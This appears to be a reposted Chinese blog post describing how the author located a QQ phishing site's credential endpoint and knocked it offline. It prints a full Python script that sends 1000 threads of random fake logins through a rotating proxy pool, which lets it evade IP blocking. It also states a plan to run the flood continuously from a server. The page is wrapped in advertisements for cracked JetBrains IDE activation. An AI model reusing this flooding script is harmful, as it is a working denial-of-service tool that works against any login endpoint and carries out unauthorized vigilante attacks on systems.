用Python打击盗号钓鱼网站

用Python打击盗号钓鱼网站事情还要从我在吾爱看到的一个网址说起,放地址:http://tencent.outlook.com.eskdp.xyz/mail/打开之后是一个模仿QQ空间登陆的页面,然后你在账号密码框里输入任何东西,它都会跳转到QQ邮箱的页面(这里的QQ邮箱确实是腾讯旗下的QQ邮箱),这样会给很多小白造成错觉:嗯,一定是QQ家族出现了问题,我登陆QQ空间竟然给我跳到QQ邮箱了。我们来抓下包,在这个页面打开开发者工具(右键-检查),打开Network,因为后面会有跳转,所以勾选上Preservelog,然后随便输入

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

事情还要从我在吾爱看到的一个网址说起,放地址:http://tencent.outlook.com.eskdp.xyz/mail/

打开之后是一个模仿QQ空间登陆的页面,然后你在账号密码框里输入任何东西,它都会跳转到QQ邮箱的页面(这里的QQ邮箱确实是腾讯旗下的QQ邮箱),这样会给很多小白
造成错觉:嗯,一定是QQ家族出现了问题,我登陆QQ空间竟然给我跳到QQ邮箱了。

我们来抓下包,在这个页面打开开发者工具(右键-检查),打开Network,因为后面会有跳转,所以勾选上Preserve log,然后随便输入一串账号密码,点击登陆

然后会发现抓到了api.php,完整地址是http://tencent.outlook.com.eskdp.xyz/mail/api/api.php

post方法发送了两个字段usernamepassword
记住这个地址,后面程序要用到

好的,我们已经拿到了真实的后台地址,想到这,某人咧嘴一笑,我们的思路是不停的给它发送请求,直到他的服务器崩溃(后面发现过段时间还会重启)

于是第一版本的代码就出炉了,通过多线程并发疯狂发送post请求,经过测试发现有些问题,就是这个网站好像可以锁定IP,对请求的IP进行限制,看到这种情况下,
某人咧嘴一笑,想到了IP的代{过}理{滤}池,于是clone了一个git开源项目,给这个程序注入灵魂,于是开启程序,一分钟后,再次刷新那个钓鱼网站,已经打不开了。

我用的代{过}理{滤}池项目是https://github.com/jhao104/proxy_pool

这个项目我启动的时候遇到了报错,如果有一样的问题可以看我提的issue:https://github.com/jhao104/proxy_pool/issues/453

下面放代码

#coding=utf-8
''' 疯狂发送post请求 '''
import requests
import random
from time import ctime  
import threading 
count = 1
def get_proxy():
return requests.get("http://127.0.0.1:5010/get/").json()
def delete_proxy(proxy):
requests.get("http://127.0.0.1:5010/delete/?proxy={}".format(proxy))
def getResponse(postJson):
# ....
retry_count = 5
url = 'http://tencent.outlook.com.eskdp.xyz/mail/api/api.php'
proxy = get_proxy().get("proxy")
while retry_count > 0:
try:
response = requests.post(url, proxies={ 
"http": "http://{}".format(proxy)}, data=postJson)
# 使用代理访问
return response
except Exception:
retry_count -= 1
# 出错5次, 删除代理池中代理
delete_proxy(proxy)
return None
#创建请求函数
def postRequest():
global count
Number = "0123456789qbcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPWRSTUVWXYZ"
postJson= { 
"username":random.randint(10000,9999999999),"password":"".join(random.choice(Number) for i in range(random.randint(6,10)))}#值以字典的形式传入
# response = requests.post(url=url,data=postJson)
response = getResponse(postJson)
# if response is not None
try:
print("状态码:", response.status_code, "第", count, "次发送成功")
count += 1
except :
pass
#创建数组存放线程 
threads=[] 
#创建1000个线程
for i in range(1000):
#针对函数创建线程 
t=threading.Thread(target=postRequest,args=())
#把创建的线程加入线程组 
threads.append(t)  
if __name__ == '__main__':
#启动线程 
for i in threads:  
i.start()  
#keep thread 
for i in threads:  
i.join()

后续我准备改进一下,增加周期性检测,然后放到服务器上,只要检测到网页可以打开就持续发送,对于这种危害大家信息安全的钓鱼网站,正是需要我们共同努力维护网络安全。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/159485.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号